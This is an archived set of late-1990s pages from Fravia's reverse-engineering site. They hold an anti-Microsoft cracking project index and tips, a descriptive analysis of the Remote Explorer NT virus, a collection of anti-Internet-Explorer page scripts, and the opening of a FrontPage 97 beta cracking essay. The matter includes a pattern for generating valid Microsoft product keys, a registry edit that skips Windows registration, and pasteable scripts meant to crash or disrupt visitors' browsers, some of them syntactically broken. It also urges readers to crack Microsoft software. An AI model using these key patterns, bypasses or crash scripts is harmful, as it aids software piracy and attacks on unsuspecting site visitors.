http://www.instinct.org/fravia/project9.htm (3 of 12) [2/7/2001 3:22:38 PM]


project9.htm ~ +HCU 1997, 1998, 1999 ~ Project 9 ~ Microsoft Bashing at Fravia's

TAKE NOTE: The ESSAYS continue below, after "A legitimate question"

A legitimate question
As TWD asks in his Frontpage essay: are our enemies at Micro$oft just faking "protections" while in the
reality GIVING AWAY FOR FREE their allegedly "protected" software in order to destroy any competition?

There are indeed some evidences in this sense:

- M$-protection schemes are not even stupid, they are distressed :-)
- Many trial versions last 90 days (which is more than enough to
keep any luser happy until the next "trial" release)
- They give some programs away for free already, completely unprotected,
like for instance Iexplorer and FrontPage98 beta (Yes, FP98 has now
appeared *complete*, fully unrestricted, on many european magazine
CD-ROMS covers)
Yet I would like to observe a couple of things:

THEY GIVE AWAY ONLY PROGRAMS THEY ARE "WAGING BATTLES" WITH
You wont see any trial copy of "M$-Office" or "M$-Excel"... and I haven't seen any trial version of flight simulator
98 either... because Gates makes MONEY with that stuff (of course, as you'll have read above, it would be
theoretically possible, if unpolite, to run a borrowed copy of Flight simulator from your own harddisk :-)
Anyway, if you will happen to see trial versions of these M$-product, that would be a pretty GOOD new: yessir, that
would mean that they are loosing ground either in the office-suites or in the 'spreadsheet' corporate word, or in the
flight simulator scene... that will mean that there appeared again some real "concurrence" (that they will have to ruin
anew, that's the aeternal cycle of 'commercial' subhuman life, I suppose :-(
The whole strategy is as banal as it is easy: they have as much money as they want through the OS-monopoly,
therefore they give away for free or "almost for free" or "bundled for free" a wordprocessor, say, until they bust
Wordperfect, say, and then, as soon as the concurrence is dead, Micro$oft will never ever again ameliorate that
crappie bugged software they pushed through and will leave the whole (incredibly stupid and gullible) world with a
tool (say "word", just to make an example :-) that everybody is de facto compelled to use and yet is so crappy that it
does not even allow you to cut and paste properly without seeing your screen text flash away like a rocket! (just try
to cut a longer text in Word and see if you are able to control your mouse! Those assholes did not ever bother to fix
this shame in their "new" pathetical Word98!).
I hate them... as I already said. Once more: Micro$oft gives away for free only SOME programs... right now they are
giving away for free (and therefore still improving) two main programs:
Micro$oft explorer to bust Netscape (this does not seem to work quickly enough for Gates, so they are already
bundling their browser and will bundle it more and more inside the OS, hoping that people will HAVE TO USE
explorer instead of Netscape as it will be a PART of the operating system itself, which leaves Netscape in the mud
to use an almost tautological circumlocution... who cares? Opera is there!
And they are giving away for free (1998) FrontPage98 BECAUSE THEY ARE NOT YET ESTABLISHED ON
THIS SOFTWARE SECTOR. Clearly Internet software hat now reached an importance that the smartest idiots at
Micro$oft never thought possible, and all their software (and operating system) risks to sink like CP-M did as soon
as we'll break free from the Microsoft-Intel devil alliance. Therefore they will do ANYTHING in order to get and
develop a grasp on all Internet-related things, mainly in order to destroy the positive advantages of the web.

Yet cracking their applications may be useful nevertheless: I believe that +ORC's crack of Microsoft publisher (that
you'll find inside his old lesson 4.2) has indeed damaged them a little: MS-Publisher WAS proposed as a trial

http://www.instinct.org/fravia/project9.htm (4 of 12) [2/7/2001 3:22:38 PM]


project9.htm ~ +HCU 1997, 1998, 1999 ~ Project 9 ~ Microsoft Bashing at Fravia's

version and had a much bigger resell price at the beginning of 1997.
You see the real battle, in that sector, is among Pagemaker, X-press and other giants, Microsoft aimed the "home
newslettering" broad public with its Microsoft Publisher, a market where Microsoft has NO concurrence... I don't
believe they will ever publish a trial version of their Encarta thing... should they do I'll not reverse anything else
until I have cracked it!

And anyway...
WHO CARES WHAT THEIR 'clever' strategies and plans are
Remember +ORC's lesson 4.2: "the way they program they wont be able to dominate a portion of half-baked
potatoes". So let's merrily keep our +cracker's promise:
We'll deprotect ALL Micro$oft programs,
wherever they appear,
whatever they use as a protection scheme

Besides autumn 1998 carries very good news indeed for all M$-haters

1) their windows98 will enter software history as a huge flop... even zombie users, confused by all the windoze's
variants, are fleeing in droves to Linux, and I have never heard of anyone that went back from Linux to Windoze
without being pulled by his hairs :-)
2) their so ruthless fight against Netscape (they were almost winning at the end) has been now thwarted and
demonstrated useless and vain, by the incredible success of the (great) Opera browser... less than a million bytes and
MORE functionality than both Netscape and Micro$oft browsersaurii together! No wonder that almost everyone is
switching to Opera right now... among many other good reasons, I personally love the "do not load images"
immediate switch on Opera's status line, most useful to avoid at a click all unwanted and delaying useless
ads-banners when you sail the deep deep net and meet a 'commercialized' site.

Oh yes, yes, YES!... I wouldn't have dreamed this a year ago... but Micro$oft's grip is about to fade away... I feel it!
PHASE 7 by TWD:

The cracking of "Age of Empires", 27 Dec 1997


(with a general digression about CD-based copy protections of most Windows95 games) - (twd_aeo.htm:
FVP09F07)
PHASE 8 by TWD:

BEGINNERS: Cracking Micro$oft Visual SourceSafe 5.00, 30 Mar 1998


(Cracking a quite easy timeprotection) - (twd_aeo.htm: FVP09F08)
PHASE 9 by fravia+:

What's behind the mm256.dat and mm2048.dat files?, 15 Jun 1998


(Don't trust your software - 1) - (mmstory.htm: FVP09F09)

Also useful!
spider.zip: Ward van Wanrooij's Wininet.dll secrets (Revealing hidden files which record user-activity ~ Added June
1999)
PHASE A by fravia+:

http://www.instinct.org/fravia/project9.htm (5 of 12) [2/7/2001 3:22:38 PM]


project9.htm ~ +HCU 1997, 1998, 1999 ~ Project 9 ~ Microsoft Bashing at Fravia's

It's a long long way to get rid of M$IE, 17 Jun 1998


(Don't trust your software - 2) - (uninstms.htm: FVP09F0A)
PHASE B by Salinas:

Micro$oft Publisher 97: Crack it and Drop it!, 15 July 1998


(With a small addition by fravia+: Micro$oft's publisher '98 as well) - (salinas.htm: FVP09F0B)
PHASE C by Mr. Shellex:

ShellExecute and Your Default Browser, 20 July 1998


(the default browser problem explained) (shellex.htm: FVP09F0C)
OK, let's rationalize from now on...
Bypassing Win98 FULL Version's serial
06 Sep 98 IH8U ~ win98tut.htm proj 9 ~ fra_0148
check "without cracking"
Finding an hidden incredible database inside proj 9
14 Oct 98 TWD ~ twdaplog.htm ~ fra_015A
windows98 ourtools

Some small tricks you may use and spread

DR2000's solution for changing search page url in Internet Explorer 4.0

There is no built in future for changing search page url in Internet Explorer 4.0. But you can do it by changing one
key in the windows registry. You can use regedit.exe program for that purpose. Run regedit.exe and find the
following key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main\Search Bar.
Change it's value to the url of page you want (you can specify .html file on your hardisk). That's it! Now run Internet
Explorer, open search bar, and there it is - the page URL of which you specified.

DR2000's informations about Micro$oft's registration patterns

Almost all of microsoft registration keys follow/will work with the following pattern 040-oem-7numbers that add up
to 14, eg. 040-0121028 - 0+1+2+1+0+2+8 = 14. If the program needs an extra number just add 0 also a few
programs will work with all 0 or all 9. (It is not widely know that windows will install if you use all 9's as the key,
However this will not work if it is already installed and you are installing to the same directory).

Dear fravia+! In Your pages DR2000 wrote:

>Almost all of microsoft registration keys follow/will work with the


>following pattern 040-oem-7numbers that add up to 14, eg. 040-
>0121028 - 0+1+2+1+0+2+8 = 14.

I find out that the TRUE rule is: SUM of _7_ digits must be integrally
divisible by _7_
After all it explains all mentioned patterns like 9999999 and the well
known 1111111.

http://www.instinct.org/fravia/project9.htm (6 of 12) [2/7/2001 3:22:38 PM]


project9.htm ~ +HCU 1997, 1998, 1999 ~ Project 9 ~ Microsoft Bashing at Fravia's

I tried it with serials known to me - it always works!

Thank You and DR2000.

Best regards, Slava.

DeeEmAye's information snippets about Bypassing Windows registration


(23 September 1998)

Did you know that... (1)


Windoze '95 halves Your Download Speed?

If you access the Internet primarily by dial-up connection, Win95 may be holding you back... way back!
That's because, by default, Win95 optimizes some of its internal Internet settings for LANs, and not for modems.
For example, Win95 normally sets an MTU (Maximum Transmission Unit) packet size of 1500, an Ethernet
standard. But standard dial-up Internet connections use a packet size of 576 bytes. The packet-size mismatch can
lead to needless slowdowns. If you use your company's Ethernet LAN, leave MTU and its related settings alone. But
if you access via modem, grab a free copy of Mike Sutherland's MTU-Speed applet at
http://www.mjs.u-net.com/mtuspeed/mtuspeed.htm.
This nifty little utility lets you easily adjust MTU and various other Registry settings that can affect dial-up speed.
Some users report their download speeds have doubled after using the optimizations suggested by MTU-Speed!

Of course this kind of solution leave you still with a slow and buggy operating system... the real correct solution is
to cross over to Linux!. And I don't know of anybody that went back to Windoze after having tried Linux...

Did you know that... (2)


If you use Windoze's mail programs people will complain that your messages arrive with gibberish or a
mysterious WINMAIL.DAT file?

M$-Mail has a feature that allows M$-Mail users to exchange fully-formatted messages (fonts, italics, etc.), by
attaching an RTF (Rich Text Format) file to the message. Another M$-Mail user will see the formatted version,
while any other email program will show the ASCII message plus the attachment. M$ made this option enabled by
default, so many M$-Mail users have no idea that they are annoying the rest of the world.

When Exchange thinks that it is sending mail to another Exchange user on the Internet, Exchange (more properly,
the Internet Mail message service provider) encodes the message, along with attached files, embedded OLE objects,
and their associated icons, into a special data block called the TNEF (pronounced tee-neff) block. This block
encapsulates the complete original content of the Exchange message, so that the message arrives at its destination
with all proper formatting intact, including boldface, underlining, fonts, and colors. Otherwise, Exchange formats
the message in an Internet-standard fashion, discarding all rich text attributes and ensuring that all attached files
appear as standard attachments.

http://www.instinct.org/fravia/project9.htm (7 of 12) [2/7/2001 3:22:38 PM]


project9.htm ~ +HCU 1997, 1998, 1999 ~ Project 9 ~ Microsoft Bashing at Fravia's

The problem arises when people not using Exchange or Outlook receive a message in the TNEF format: instead of
seeing a formatted message, they see a big chunk of UUENCODE data if the sender used UUENCODE format, or a
MIME body part application/ms-tnef if the sender used MIME. Depending on which mail program they use, they
may either see a long sequence of hexadecimal digits, or they may see an attached binary file named
WINMAIL.DAT.

Here's how to turn it off: Step #1:


Double-click on the Mail and Fax icon in Control Panel.

Click on the Services tab, and select Internet Mail from the list. If Internet Mail is not listed, click Add - add
this service.
Click Properties, and then Message Format. Turn off the option that reads Use MIME when sending
messages.
Click OK and then OK again.

Step #2:
Double-click on the name of each recipient in your Address Book.

Turn off the option that reads Always send to this recipient in Micro$oft rich-text format.

This option needs to be set for each recipient of a message - if even one has this turned on, all recipients will
still get the attachment.

Note: Either of these methods should work for most users, but sometimes nothing seems to work - yet another
brilliant design strategy by M$. I you plan to be sending lots of internet email, you should seriously consider using a
mail program more suited to the task, such as Pegasus or Eudora.

Note: A bug in Exchange may cause line feeds to be replaced with equal signs when rich-text mail is disabled.

So the best solution is actually to get rid of Outlook right now! (See below)

Did you know that... (3)


You can get some scary info about ActiveX controls and their dangers for M$IE users on my Things that happen
page?

Did you know that... (4)


M$ Outlook's calendar shifts with time zone?

You will not believe this, yet it is true...

You live in San Francisco and go to New York for business. You enter all your business meetings in M$ Outlook's
calendar on your windoze laptop before you leave. You fly to New York and adjust your location (time zone) so
your computer will what time it is. Then you miss a crucial appointment because the calendar claims a meeting is at
15:00 even though you said it was at noon.

http://www.instinct.org/fravia/project9.htm (8 of 12) [2/7/2001 3:22:38 PM]


project9.htm ~ +HCU 1997, 1998, 1999 ~ Project 9 ~ Microsoft Bashing at Fravia's

All your appointments get time shifted when you change your location. They claim this is a feature. I kid you not.

I can only guess that somebody decided appointments should be stored as GMT and then displayed as local times
depending on the time zone the computer thinks it's in.

As to why they thought this was a good thing, I have no clue. (G.Marriot)

Did you know that... (5)


Excel changes numbers on its own?

If you enter a number, say 123456789999 in Excel and save the file as comma delimited (*.csv format) it will be
saved as 1.234567E+11. Quite a few programs can't import this properly, including Word. But what's worse,
bringing it back into Excel gives you 123456700000. I think the risks are fairly obvious. I wonder if the large banks
which have standardized on Excel know about it... :-) When opening an account therefore you not only do need to
ask banks the interest rates, fees etc, but also what software they use. And avoid all those that use M$-programs!

Did you know that... (6)


Tou may update all win components to '98 WITHOUT giving much info to M$?

Korvus wrote a nice addition about M$'s stupidity


There's a nifty feature -for those of you that have Win98 already- at www.microsoft.com/windowsupdate that will
allow you to update your windows components (if you call that updating :-)
Unfortunately, you must register your copy of M$, including sending them all too much personal information. The
scripts are quite simple to crack (so you can register as a 2 years old gardner from Nagorny-Karabak with five kids,
two cows, three swimming pools and an income of three dollars per years, of course :-) and then remove the
authorisation code and save it locally, but they keep changing the addresses, so you would keep continuously
updating the page, which is boring to say the least...
So you better follow a completely different approach:
The entire authorization procedure is in a registry setting:
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion]
"RegDone"="1"
Well, Korvus is correct: there does not seem to be a single smart person at Micro$oft...

Get rid of Outlook Express now!

Outlook express is an incredibly buggy Micro$oft's application, that will fill your (and others) emailboxes with all
sort of useless attachments, weird little graphic codes and other useless cram. Besides it's slow, huge and utterly
frill-oriented.
So, change NOW and go over to one of the most commonly used applications, you'll never regret it!

Eudora: One of the best email clients around.


EudoraPro features: *Enhanced message filtering *Multiple e-mail accounts *Plug-ins *Stylized text *"Drag and

http://www.instinct.org/fravia/project9.htm (9 of 12) [2/7/2001 3:22:38 PM]


project9.htm ~ +HCU 1997, 1998, 1999 ~ Project 9 ~ Microsoft Bashing at Fravia's

Drop" support and almost everything else you can think of.
Eudora Lite (for all windoze sorts): eul306.exe
Eudora Pro (you should pay for it): EudoraPro
Pegasus: A really good E-mail program that's free. It has a lot of nice features like a spelling checker, mailing list
support, and much more.
Pegasus 16 bit: w16-301d.exe
Pegasus 32-bit: w32-301d.exe
Of course if you just do a quick search for "email clients" you'll find HUNDRED of other appz, so, the point is that
YOU ARE NOT COMPELLED TO USE OUTLOOK just because some clown has installed that crap onto your
computer! Get rid of it!
Free your valuable harddisk space!

don't get all your actions snooped by Micro$oft's appz!

sink Gates!

System administrators answering a troll

Well... soon or later I would have had to teach you how to fish info through clever placed trolls anyway, so learn it
right now... (I'm just speaking for those among you that did not know this trick already, of course :-) ...Unix-related
trolls (or Linux ones) on usenet can fetch a huge amount of interesting info, if cleverly placed.

This was the troll (first relevant part):

>> I get this feeling that your anti-MS because your an old school UNIX weenie
>> that hates the fact of MS-NT eating your lunch with zero administration and
>> fast setup?

This was a first answer:

"Zero Administration?" ...Service packs that fix one problem while


introducing another. Distributed in straight binary format with no
source code and no compiler, so you can't fix bugs in the code
yourself. Changing simple things like IP settings requires a reboot.
Changing damn near anything requires a reboot. On what's supposed to
be an Enterprise-class server? The people that actually have to
administer NT systems usually _hate_ them. Their boss is the one who
bought MS's bullshit about "ease of use" and "reliability".

This was the second answer (quite interesting, I believe)

I can vouch for this somewhat, having to deal with an NT box at work,
although it's actually given us little trouble. The reason for this
is that we have only *one* mission-critical function running on NT:
our proxy server. The only other tasks it's used for are backing up
the network and file/application serving, neither of which would
cripple us if the box puked tomorrow. The *real* important stuff runs

http://www.instinct.org/fravia/project9.htm (10 of 12) [2/7/2001 3:22:38 PM]


project9.htm ~ +HCU 1997, 1998, 1999 ~ Project 9 ~ Microsoft Bashing at Fravia's

on Linux or Solaris (and, as soon as Informix ports its DB tools to


Linux, the Sun box will find itself on the doorstep the next day).

What slays me about Microsoft is how badly their software can coexist
with other products, *including their own*. A classic example is
their aforementioned Proxy Server. When you set up NT with the Option
Pack and Service Pack 3, it installs Internet Information Server 4.0
by default. Which is fine, except for one small detail: it *breaks*
Proxy Server. We had to back IIS 4.0 out of the system and install
IIS 3.0, which has no trouble working with Proxy Server. AFAIK, there
is still no fix to get Proxy Server working properly with IIS 4.0.

Now tell me: if Microsoft can't be bothered to fix glaring


compatibility issues with its own products, what makes anyone think it
gives two shits about making them compatible with anyone else's? Why
the hell did Sun sue Microsoft over the Java issue in the first place?

Second part of the troll:

>> UNIX hit rock bottom 2 years ago when the DOD shit canned it due to it high
>> cost. NT is cheaper and faster to use. Who in their right mind would spend
>> $1,500 for a crude UNIX OS when NT is better and almost $ 1,300 cheaper???

First answer

Well, why would you need to spend $1500 when you can get your pick of
various *BSD and Linux OS's for either the cost of the CD, or the time
it takes to download? NT Server costs $200? I think it's a bit more
than that. And you also have to buy client licenses by the seat. The
more workstations you have being served by NT, the greater the cost.

Second answer

He may be thinking of NT Workstation, which is a very different


animal.

Point of comparison: our upgrade to NT (we qualified, having run


Netware previously) cost us just under $1500 for the server and 30
client licenses (also not $200). But Solaris is much, much more
expensive, especially if you run it on SPARC hardware, although
there are no client-access restrictions.

I may add that they actually both realized they were answering to a troll, but, interesting enough, it worked
nevertheless... and it was possible to fish out some anti-M$ info allright :-)

http://www.instinct.org/fravia/project9.htm (11 of 12) [2/7/2001 3:22:38 PM]


project9.htm ~ +HCU 1997, 1998, 1999 ~ Project 9 ~ Microsoft Bashing at Fravia's

Feel free to reverse whatever Micro$oft's target you can put your hands on!

Work well: please damage Microsoft!

homepage links anonymity +ORC bots wars students' essays academy database
tools counter measures cocktails antismut search_forms javascript wars mail_fravia
Is reverse engineering legal?
WARNING!
(I write the following here because I have a deep respect for trademarks :-)

"Microsoft, MSN, BackOffice (what the cuckoo is that?) and "Where do you want to overbloate today?" are either
"registered trademarks" or "trademarks" or "trade marks" or "trad ema rks" of Microsoft Corporation in
Nagorny-Karaback, Vatican City, the United States and/or other countries"

"Unix is not important; Java is just a programming language; the Web is


important, but especially when integrated with Windows PCs."
You know who

http://www.instinct.org/fravia/project9.htm (12 of 12) [2/7/2001 3:22:38 PM]


remoex.htm ~ Remote Explorer: McAfee's selling trick or an interesting target?

Remote Explorer: McAfee's selling trick or an


interesting target?

Remote Explorer is this the virus to study?

The "Remote Explorer" virus runs on Micro$oft Windoze NT servers and affects common programs like
Micro$oft Word. It cannot run on Windoze 9x because this virus/trojan runs as a "service", which is only
possible if you are running Windoze NT as your op/sys and because Windows 9x lacks the RPC functions
that allow it to spread to it in the first place. You can nevertheless have a file in win95 that's infected with the
virus but it won't do any damage to your system. Remote Explorer will only affect NT computers.

Users clicking on their Word icon might experience a slight delay, but otherwise would be unable to detect
the presence of the virus; meanwhile, the virus is busy corrupting files and spreading to other programs.
Micro$oft officials say they're "aware of other viruses that have the same characteristics," and Network
Associates says it has developed a Remote Explorer detector and is working on a solution to decode the
affected files.

Remote Explorer. Here are the facts I found:


Discovered on December 17, 1998. Probably released by NAI (MacAffee) itself with the complicity of MCI,
else heavily used by NAI to promote itself.
Primarily targets Microsoft Windows NT Servers and Workstation systems. The virus is memory resident,
encrypts EXE, TXT, and HTML files. Spreads through a LAN/WAN environment.

Indications you are hosting the virus:


Open up the Services applet in the NT Control Panel. If you find "Remote Explorer" listed as a service, this
system is infected. Through the Start Menu, run TASKMGR.EXE. When viewing the Processes tab, if
IE403R.SYS or TASKMGR.SYS (not EXE) are listed as processes, the system is infected.

Virus Characteristics
The most outstanding characteristics is that it can move/transport itself without typical user intervention
(passed on floppy, via email) and replicate like a worm.
It is the first infection program that spreads on either NT Servers, and/or NT Workstations. It does so by
compressing the target executable.
The virus installs itself on a system by creating a copy of itself in the NT Driver directory and calls itself
IE403R.SYS. It also installs itself as a service with the name "Remote Explorer". It also carries a DLL that
supports it in the infecting and encryption process.
If the DLL is deleted it will make another copy.
Remote Explorer spreads by stealing security privileges of the domain administrator, which allows it to
propagate to other Windows systems. Once there it infects files and compresses them in addition to
encrypting data on a random basis.
Windows NT is the primary method for the continued spread of this virus. Other Windows operating systems
can host infected files, but the virus can not spread further on these platforms.
Can infect any EXE and when doing so uses a compression routine to make the file unusable.
It uses an encryption algorithm on data files including TXT and HTML formats. It appears to choose a
directory randomly, and infects files that meets the criteria it has set, and encrypts others that it can't infect.

http://www.instinct.org/fravia/remoex.htm (1 of 4) [2/7/2001 3:22:41 PM]


remoex.htm ~ Remote Explorer: McAfee's selling trick or an interesting target?

It is a 125-kilobyte file infector, comprised of approximately 50,000 lines of code. This is an extremely large
and complex virus.
This large virus has been written in Microsoft Visual C++ and is about 125K.
The original virus code occupies about 14K
GZIP routines - 20K
C run-time libraries - 40K
Other data are occupied by virus/C++ data, resources and so on
The virus has quite an unusual structure: the infected files have code and data segments, as well as three
resources that contain compressed executable files.

The first resource contains the standard NT4 PSAPI.DLL that is used by the virus to access processes in the
system memory.

The second resource is the original virus code itself (including the same compressed PSAPI.DLL in the
resource). This copy of virus code is used as the original data to install the virus into the system and to infect
EXE files.

The third resource is the host file that is extracted and decompressed, when the virus needs to run the host
program.

System Registry: while installing its SYS driver to the system the virus uses standard NT API calls. That
cause the system to register the virus drivers in the system registry - the
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Remote Explorer is sowith created.

Temporary files: while compressing/decompressing files the virus needs to create temporary files. It creates
them in the Windows temporary directory with the random names ~xxxdddd.TMP (where 'x' - letters, 'd' -
digits).

It goes Memory Resident. Thus the infected system must be powered down, and scanned from a "clean state"
with a command line scanner (convenient courtesy of NAI itself :-)
Detection and removal are available
The virus has a time routine, which is designed to speed up the search and infection process.
The virus infection, hiding and damage routines do work only in non-working hours: full day on Sunday and
Saturday, only from 21:00 till 6:00 on other days. Otherwise the virus sets lowest priority for itself, and
"sleeps" for long periods of time. So the virus runs its routine in work-hours, but only in case nobody is
accessing the computer for the long time.

Hiding routine is run next to infection routine, and "cleans" virus traces in the system. First of all it looks for
the windows with "TASKMGR.SYS, Application Error" and "Dr.Watson for Windows NT" titles and closes
them if needs be.
So the virus bypasses the error messages caused by its bugs. The virus then checks if its driver "sleeps" for
too long time (more that one hour). In this case the virus kills the service.
The virus also deletes the DRWTSN32.LOG file as well as all "~*" files in the Windows temporary
directory.
NAI conveniently provided a program (late 12/21/98) that will removes it from memory without a reboot,
removes the virus as a service, cleans and repairs the encrypted data files, and all infected executables.
There are now a couple of things that I must add... this whole story has some tracts of a typical urban

http://www.instinct.org/fravia/remoex.htm (2 of 4) [2/7/2001 3:22:41 PM]


remoex.htm ~ Remote Explorer: McAfee's selling trick or an interesting target?

legend/scam, made in order to sell NAI products (which are lousy to say the least, btw). Yet some of the
descriptions I found seem to have a solid base.
Let's put some order in all this mess:
first of all the Remote Explorer virus seems to be extremely rare. Likelihood of infection seems to me
therefore very low.
At this time, only one company has been known to have been infected and I couldn't find the virus on any
Internet sites, anti-virus ftps or hacker BBSs (and I know how to search the web)
Es ist sure that McAfee over-hyped the panic for PR purposes. They have always been very good at this.
I don't know if they went so far as to create it themselves (M$ C++? Mmmm... could be)
I doubt that this virus has really escaped 'in the wild', but if it is, and if anyone of my readers gets his hands
on a copy of it, we may try to reverse its code.
I have searched the web -until now in vain- and I'll keep trying.
As soon as I catch or get a copy of Remote Explorer it I'll reverse it.
If anyone out there discovers a file called IE403R.SYS, having a date/time stamp of 12/20/98-1:22:48am
(EDT I believe), and a size of 125,440 bytes, please send me a copy. I'll publish the code as soon as I have
reversed it.
Yet many small things make me believe that this is only a silly McAfee's hype and a marketing trick... have a
look at their disgusting banners at http://www.nai.com/...
The hyperbole that is oozing out of some corporation's marketing and PR wings is getting pretty hard to take,
and I believe we should begin to retaliate... a reason more to disassemble this virus... as you probably know,
each programmer has his 'style' (even in overbloated M$ C++) and it should be possible to understand if
really a 'disgruntled employee' at MCI or some of the guys at NAI has concocted this.

Some snippets from the wide web:

Russ, the NTBugtraq moderator):

I have been contacted by Intel, Panda Software, Symantec, and other


private virus researchers hoping to get copies of the virus. NAI did not
make the virus available to the anti-virus community until late this
afternoon. A source told me that Microsoft were told they had to sign a
non-disclosure agreement with NAI in order to get a copy of it
themselves

ISS Security Advisory:

There have been no confirmed reports of the virus existing


outside of the original reporting site, with the exception of copies
obtained by virus researchers. There are indications that the original
virus may have been installed by a disgruntled employee.

Sounds all pretty fishy from a reverser standpoint, yet some real experts on this field seem to believe that a
limited number of copies may indeed have escaped 'in the wild'.
Now, since NAI is clearly the real culprit of this situation and the only responsible of the possible spreading
of this virus, and since our interest for this kind of virii in the context of our "Micro$oft bashing" campaign
and our reversing capabilities is obvious... our reversing deed would also hit NAI right on their heads...

http://www.instinct.org/fravia/remoex.htm (3 of 4) [2/7/2001 3:22:41 PM]


remoex.htm ~ Remote Explorer: McAfee's selling trick or an interesting target?

reversing code and at the same time reversing a marketing department trick... nice deed, wouldn't you say?
Bye bye McAffee... eh?

So, go forth and catch it, friends NT-administrators!


Pattern files that will detect as clean the virus:
ftp://ftp.intel.com/pub/support/files/outgoing/vp30cs.zip
ftp://ftp.intel.com/pub/support/files/outgoing/up484.zip

Resume
The virus is the first native "memory resident" NT infector, so it might look as some super-virus. Actually
the virus was written by some middle-level developer that has access to the NT DeviceDevelopmentKit
documentation. The virus does not hook any NT event, does not use any network protocols, does not try to
access the passwords, and spread its copy over the global network. Moreover, the ordinary DOS parasitic
viruses have the same network spreading abilities like this virus has - they also can infect files on remote
shared drives, stays in the system memory, e.t.c.

This is just a standard parasitic virus, but with NT service infection ability. It is not more complex than some
other already known Windows viruses are, and definitely not more complex than the well-known BO trojan
(BackOrifice) from our CoDC friends...

In conclusion this virus is not a shock at all - it is the long awaited WindowsNT-service virus. Let's catch it
and reverse it!

Remember:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\Remote Explorer

For more information:

CERT(R) Incident Note IN-98-07 "Windows NT 'Remote Explorer' Virus" at


http://www.cert.org/incident_notes/IN-98-07.html

Central Command Antivirus Center "Antiviral Toolkit Pro (AVP)" at


http://www.avp.com (free detector-cleaner)

Data Fellows Computer Virus Information Pages for RemExp, also known as
Rich, Remote_Explorer, IE403R.SYS, RICHS at
http://www.datafellows.com/v-descs/rich.htm

Microsoft Security Advisor "Information on the 'Remote Explorer' or


'RICHS' Virus" at http://www.microsoft.com/security/bulletins/remote.asp

http://www.instinct.org/fravia/remoex.htm (4 of 4) [2/7/2001 3:22:41 PM]


anmsscri.htm ~ Fravia's anti-M$IE tricks and scripts

No M$IE!

No Micro$oft internet exploder allowed!


Welcome to my collection of Anti-M$IE tricks
page started on September 1998, last updated: July 1999
Use these scripts in order to get rid of all people using Micro$oft Internet explorer, or else ameliorate them and contribute.
I have pilfered them around the Web and, when necessary, I have slightly changed them.

Instructions:
Just copy the script you are interested in -with your mouse- and paste it into your own html pages...

FUNDAMENTAL SCRIPT
~
Screw M$ Explorer once for all on any page

<OBJECT CLASSID=#></OBJECT> inside the <BODY> of any page of your site.

(Presented by Carpathia)

RECENT SCRIPT
~
Screw M$ Explorer's 5 windows settings

if(parseInt(navigator.appVersion)>3) {
a=1;
setInterval("Jump()",10);
}

function Jump(){
a=a+.1;
self.moveBy((Math.random()*a*2 -a),(MathRandom()*a*2)-a);
}

FIRST SCRIPT
~
Go to Opera please

http://www.instinct.org/fravia/anmsscri.htm (1 of 3) [2/7/2001 3:22:43 PM]


anmsscri.htm ~ Fravia's anti-M$IE tricks and scripts

<---------begin Cutting Now--------->


<script LANGUAGE="JavaScript"><!--
var uagent=navigator.userAgent;
if (uagent.indexOf("MSIE") == 25)
{
document.writeln('<META HTTP-EQUIV="REFRESH"
CONTENT="2; URL="http://www.operasoftware.com">');
}
//-->
</script>
<----end Cutting Now------------>

SECOND SCRIPT
~
MSIE not allowed

<---------begin Cutting Now--------->


<!-- Hide for old browser
// This JavaScript is written by Moh!
// Modified by WiZZiE
// Use it and modify it if you like
// it's for those who don't want their Page be compatible for MS IE 3.0 :)....have
fun
// be so nice an leave my Name in the above of that, thx!
//-->

<script language="JavaScript"><!--
var uagent=navigator.userAgent;

if (uagent.indexOf("MSIE") == 25) { alert("STOP ! You are using MS Internet Explorer


(TM)!");
alert("And this page prohibits IE users from viewing it.");
if (confirm("Do you want to go to Opera's's Site in order to dowload Opera?"))
{locaction.href="http://www.netscape.com" }
else { ("OK you choose I don't care! Bye bye!... come back when you have another
browser!"); self.close(); } }
//-->
</script>

<------end Cutting Now------------>

THIRD SCRIPT
~
Compulsory New Browser

<---------begin Cutting Now--------->


<script LANGUAGE="JavaScript"><!--
var uagent=navigator.userAgent;

http://www.instinct.org/fravia/anmsscri.htm (2 of 3) [2/7/2001 3:22:43 PM]


anmsscri.htm ~ Fravia's anti-M$IE tricks and scripts

if (uagent.indexOf("MSIE") == 25)
self.close()
//-->
</script>
<----end Cutting Now------------>

FOURTH SCRIPT
~
Download Opera

<script>
<!-- Hide for old browser
// This script checks for MSIE, if it is detected, an alert is
// issued, and the browser is re-directed. As it is, this script
// will redirect to my Stop Microsoft page. This can be changed
// changing the URL in the location.href line.

var uagent=navigator.userAgent;
if (uagent.indexOf("MSIE") == 25) {
alert("Microsoft's Internet Explorer has been detected.\r\rMSIE is
prohibited from entering this site, and you are being directed elsewhere.\r\rJoin the
Microsoft Boycott, get Opera.");
location.href="http://www.operasoftware.com"
}

// End hide -->


</script>

Back to Project9

homepage links anonymity +ORC bots wars students' essays academy database
tools counter measures cocktails antismut search_forms javascript wars mail_fravia
Is reverse engineering legal?

) Ok: you want to crash Netscape 4.06 Instead (Javascript enabled)?


<p style="border: thin solid"> in your <BODY> eheh :-)
(Presented by qwerty)

http://www.instinct.org/fravia/anmsscri.htm (3 of 3) [2/7/2001 3:22:43 PM]


vicever2

Micro$oft bashing: FrontPage 97 beta


("The death of a Cinderella protection")
by ViceVersa+
(10 August 1997)

Courtesy of Fravia's page of reverse engineering


Well, it's a pleasure to open this new project of the +HCU with a nice essay from ViceVersa+, please refer to +ORC's 4.2 for
the "common" Micro$oft's protections (and for the 1998's strainer) and work on every single protection of Micro$oft you can
put your hands on! As +ORC would say... work well!

Eliminating the "cinderella" protection


of Micro$osft FrontPage 97 beta

by ViceVersa+, August 1997

Use your brain not your fingers!

Introduction
According to the well known "kill all the competitors" marketing policy, Micro$oft often gives away for free full working
betas of many of its products. The idea behind this strategy is that the users will start using them, will get used to them and
then, once the betas have expired, will buy the commercial releases. How can we call this? To me it looks like "software
pushing"! So, if you want to enjoy (enjoy?!?) this betas for a time longer than that guys at Micro$oft planned for you, just keep
reading...

Purchase me!

I found FrontPage 97 beta on one of that CDs that often come with computer magazines so I think you won't have any
difficulties in getting it too. Since the application was expected to expire on February 1997, I assume that at this time this
version has already expired so, once you have started FrontPage, it will pop-up and show you a message box (if it doesn't,
advance your clock!) saying "Your copy of Microsoft FrontPage 97 beta has expired. Please visit your local re seller to
